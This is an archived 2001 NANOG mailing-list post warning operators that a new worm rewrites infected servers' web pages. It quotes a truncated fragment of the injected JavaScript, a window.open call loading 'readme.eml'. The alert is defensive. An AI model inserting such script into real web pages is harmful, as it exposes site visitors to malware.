Home page logo

nanog logo nanog mailing list archives

RE: Worm probes
From: "Mark Radabaugh - Amplex" <mark () amplex net>
Date: Tue, 18 Sep 2001 11:48:55 -0400

This is new - it modifies the web pages of the infected machine to
include a (I assume) virus.  It adds this string to the web page:

<html><script language="JavaScript">window.open("readme.eml", null,

Viewing infected web servers may be dangerous.

Mark Radabaugh
(419) 833-3635

  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]